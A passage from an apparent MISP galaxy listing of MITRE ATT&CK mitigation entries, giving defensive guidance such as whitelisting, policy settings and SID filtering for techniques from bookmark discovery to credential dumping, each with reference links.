https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1124
https://technet.microsoft.com/en-us/library/ee791851.aspx

Browser Bookmark Discovery Mitigation - T1217

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Browser Bookmark Discovery Mitigation - T1217"*

Table 9254. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1217
https://technet.microsoft.com/en-us/library/ee791851.aspx

Netsh Helper DLL Mitigation - T1128

Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)

The tag is: *misp-galaxy:mitre-course-of-action="Netsh Helper DLL Mitigation - T1128"*

Table 9255. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1128

Remote Access Tools Mitigation - T1219

Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.

Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.

Use application whitelisting to mitigate use of and installation of unapproved software.

The tag is: *misp-galaxy:mitre-course-of-action="Remote Access Tools Mitigation - T1219"*

Table 9256. Table References

Links
https://attack.mitre.org/mitigations/T1219

External Remote Services Mitigation - T1133

Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.

The tag is: *misp-galaxy:mitre-course-of-action="External Remote Services Mitigation - T1133"*

Table 9257. Table References

Links
https://attack.mitre.org/mitigations/T1133

Access Token Manipulation Mitigation - T1134

Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.

Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)

Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.

The tag is: *misp-galaxy:mitre-course-of-action="Access Token Manipulation Mitigation - T1134"*

Table 9258. Table References

Links
https://attack.mitre.org/mitigations/T1134
https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object
https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token

Network Share Discovery Mitigation - T1135

Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Network Share Discovery Mitigation - T1135"*

Table 9259. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1135
https://technet.microsoft.com/en-us/library/ee791851.aspx

Dynamic Data Exchange Mitigation - T1173

Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)

Ensure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)

On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)

The tag is: *misp-galaxy:mitre-course-of-action="Dynamic Data Exchange Mitigation - T1173"*

Table 9260. Table References

Links
https://attack.mitre.org/mitigations/T1173
https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction

https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b
https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653
https://technet.microsoft.com/library/security/4053440
https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/

Clear Command History Mitigation - T1146

Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).

The tag is: *misp-galaxy:mitre-course-of-action="Clear Command History Mitigation - T1146"*

Table 9261. Table References

Links
http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory
https://attack.mitre.org/mitigations/T1146

Password Filter DLL Mitigation - T1174

Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\Windows\System32\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>. (Citation: Microsoft Install Password Filter n.d)

The tag is: *misp-galaxy:mitre-course-of-action="Password Filter DLL Mitigation - T1174"*

Table 9262. Table References

Links
https://attack.mitre.org/mitigations/T1174
https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx

Spearphishing via Service Mitigation - T1194

Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.

Because this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: *misp-galaxy:mitre-course-of-action="Spearphishing via Service Mitigation - T1194"*

Table 9263. Table References

Links
https://attack.mitre.org/mitigations/T1194

Supply Chain Compromise Mitigation - T1195

Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.

Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012):

- Uniquely Identify Supply Chain Elements, Processes, and Actors
- Limit Access and Exposure within the Supply Chain
- Establish and Maintain the Provenance of Elements, Processes, Tools, and Data
- Share Information within Strict Limits
- Perform SCRM Awareness and Training
- Use Defensive Design for Systems, Elements, and Processes
- Perform Continuous Integrator Review
- Strengthen Delivery Mechanisms
- Assure Sustainment Activities and Processes
- Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle

A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)

The tag is: *misp-galaxy:mitre-course-of-action="Supply Chain Compromise Mitigation - T1195"*

Table 9264. Table References

Links
http://dx.doi.org/10.6028/NIST.IR.7622
https://attack.mitre.org/mitigations/T1195

https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/
https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf

Setuid and Setgid Mitigation - T1166

Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.

The tag is: *misp-galaxy:mitre-course-of-action="Setuid and Setgid Mitigation - T1166"*

Table 9265. Table References

Links
https://attack.mitre.org/mitigations/T1166

Local Job Scheduling Mitigation - T1168

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.

The tag is: *misp-galaxy:mitre-course-of-action="Local Job Scheduling Mitigation - T1168"*

Table 9266. Table References

Links
https://attack.mitre.org/mitigations/T1168

Control Panel Items Mitigation - T1196

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

Restrict storage and execution of Control Panel items to protected directories, such as <code>C:\Windows</code>, rather than user directories.

Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.

Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)

The tag is: *misp-galaxy:mitre-course-of-action="Control Panel Items Mitigation - T1196"*

Table 9267. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1196
https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx

Compiled HTML File Mitigation - T1223

Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="Compiled HTML File Mitigation - T1223"*

Table 9268. Table References

Links
https://attack.mitre.org/mitigations/T1223
https://live.paloaltonetworks.com/t5/Ignite-2016-Blog/Breakout-Recap-Cybersecurity-Best-Practices-Part-1-Preventing/ba-p/75913

Domain Trust Discovery Mitigation - T1482

Map the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)

The tag is: *misp-galaxy:mitre-course-of-action="Domain Trust Discovery Mitigation - T1482"*

Table 9269. Table References

Links
http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
https://attack.mitre.org/mitigations/T1482

Stored Data Manipulation Mitigation - T1492

Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are

applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected.

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.

The tag is: *misp-galaxy:mitre-course-of-action="Stored Data Manipulation Mitigation - T1492"*

Table 9270. Table References

Links
https://attack.mitre.org/mitigations/T1492
https://www.ready.gov/business/implementation/IT

Domain Generation Algorithms Mitigation - T1483

This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Domain Generation Algorithms Mitigation - T1483"*

Table 9271. Table References

Links
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

https://attack.mitre.org/mitigations/T1483
https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html
https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/

Transmitted Data Manipulation Mitigation - T1493

Identify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.

The tag is: *misp-galaxy:mitre-course-of-action="Transmitted Data Manipulation Mitigation - T1493"*

Table 9272. Table References

Links
https://attack.mitre.org/mitigations/T1493

Runtime Data Manipulation Mitigation - T1494

Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Runtime Data Manipulation Mitigation - T1494"*

Table 9273. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1494
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Out-of-Band Communications Channel - M1060

Establish secure out-of-band communication channels to ensure the continuity of critical communications during security incidents, data integrity attacks, or in-network communication failures. Out-of-band communication refers to using an alternative, separate communication path

that is not dependent on the potentially compromised primary network infrastructure. This method can include secure messaging apps, encrypted phone lines, satellite communications, or dedicated emergency communication systems. Leveraging these alternative channels reduces the risk of adversaries intercepting, disrupting, or tampering with sensitive communications and helps coordinate an effective incident response.(Citation: TrustedSec OOB Communications)(Citation: NIST Special Publication 800-53 Revision 5)

The tag is: *misp-galaxy:mitre-course-of-action="Out-of-Band Communications Channel - M1060"*

Table 9274. Table References

Links
https://attack.mitre.org/mitigations/M1060
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r5.pdf
https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response

LLMNR/NBT-NS Poisoning Mitigation - T1171

Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)

Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)

The tag is: *misp-galaxy:mitre-course-of-action="LLMNR/NBT-NS Poisoning Mitigation - T1171"*

Table 9275. Table References

Links
https://adsecurity.org/?p=3299
https://attack.mitre.org/mitigations/T1171
https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)

Restrict Web-Based Content - M1021

Restricting web-based content involves enforcing policies and technologies that limit access to potentially malicious websites, unsafe downloads, and unauthorized browser behaviors. This can include URL filtering, download restrictions, script blocking, and extension control to protect against exploitation, phishing, and malware delivery. This mitigation can be implemented through

the following measures:

Deploy Web Proxy Filtering:

- Use solutions to filter web traffic based on categories, reputation, and content types.
- Enforce policies that block unsafe websites or file types at the gateway level.

Enable DNS-Based Filtering:

- Implement tools to restrict access to domains associated with malware or phishing campaigns.
- Use public DNS filtering services to enhance protection.

Enforce Content Security Policies (CSP):

- Configure CSP headers on internal and external web applications to restrict script execution, iframe embedding, and cross-origin requests.

Control Browser Features:

- Disable unapproved browser features like automatic downloads, developer tools, or unsafe scripting.
- Enforce policies through tools like Group Policy Management to control browser settings.

Monitor and Alert on Web-Based Threats:

- Use SIEM tools to collect and analyze web proxy logs for signs of anomalous or malicious activity.
- Configure alerts for access attempts to blocked domains or repeated file download failures.

The tag is: *misp-galaxy:mitre-course-of-action="Restrict Web-Based Content - M1021"*

Table 9276. Table References

Links
https://attack.mitre.org/mitigations/M1021

Multi-Stage Channels Mitigation - T1104

Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Multi-Stage Channels Mitigation - T1104"*

Table 9277. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1104

Third-party Software Mitigation - T1072

Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.

Grant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.

Where the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: *misp-galaxy:mitre-course-of-action="Third-party Software Mitigation - T1072"*

Table 9278. Table References

Links
https://attack.mitre.org/mitigations/T1072

DLL Side-Loading Mitigation - T1073

Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.

The tag is: *misp-galaxy:mitre-course-of-action="DLL Side-Loading Mitigation - T1073"*

Table 9279. Table References

Links
https://attack.mitre.org/mitigations/T1073

Re-opened Applications Mitigation - T1164

Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open

windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.

The tag is: *misp-galaxy:mitre-course-of-action="Re-opened Applications Mitigation - T1164"*

Table 9280. Table References

Links
https://attack.mitre.org/mitigations/T1164
https://support.apple.com/en-us/HT204005

SID-History Injection Mitigation - T1178

Clean up SID-History attributes after legitimate account migration is complete.

Consider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).

SID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.

SID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)

- Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> on the domain controller).
- Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller) Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.

The tag is: *misp-galaxy:mitre-course-of-action="SID-History Injection Mitigation - T1178"*

Table 9281. Table References

Links
https://adsecurity.org/?p=1640

https://attack.mitre.org/mitigations/T1178
https://technet.microsoft.com/library/cc755321.aspx
https://technet.microsoft.com/library/cc794757.aspx
https://technet.microsoft.com/library/cc835085.aspx

Multi-hop Proxy Mitigation - T1188

Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).

The tag is: *misp-galaxy:mitre-course-of-action="Multi-hop Proxy Mitigation - T1188"*

Table 9282. Table References

Links
https://attack.mitre.org/mitigations/T1188

Drive-by Compromise Mitigation - T1189

Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.

For malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.

The tag is: *misp-galaxy:mitre-course-of-action="Drive-by Compromise Mitigation - T1189"*

Table 9283. Table References

Links

https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1189
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/
https://en.wikipedia.org/wiki/Control-flow_integrity

Data Obfuscation Mitigation - T1001

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Data Obfuscation Mitigation - T1001"*

Table 9284. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1001

Web Shell Mitigation - T1100

Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages.

Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)

The tag is: *misp-galaxy:mitre-course-of-action="Web Shell Mitigation - T1100"*

Table 9285. Table References

Links
https://attack.mitre.org/mitigations/T1100
https://www.us-cert.gov/ncas/alerts/TA15-314A

Automated Exfiltration Mitigation - T1020

Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Automated Exfiltration Mitigation - T1020"*

Table 9286. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1020
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Hardware Additions Mitigation - T1200

Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems.

Block unknown devices and accessories by endpoint security configuration and monitoring agent.

The tag is: *misp-galaxy:mitre-course-of-action="Hardware Additions Mitigation - T1200"*

Table 9287. Table References

Links
https://attack.mitre.org/mitigations/T1200
https://en.wikipedia.org/wiki/IEEE_802.1X

Data Compressed Mitigation - T1002

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

If network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.

The tag is: *misp-galaxy:mitre-course-of-action="Data Compressed Mitigation - T1002"*

Table 9288. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1002
https://technet.microsoft.com/en-us/library/ee791851.aspx

Credential Dumping Mitigation - T1003

Windows

Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)

Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)

Manage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)

Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)

Linux

Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.

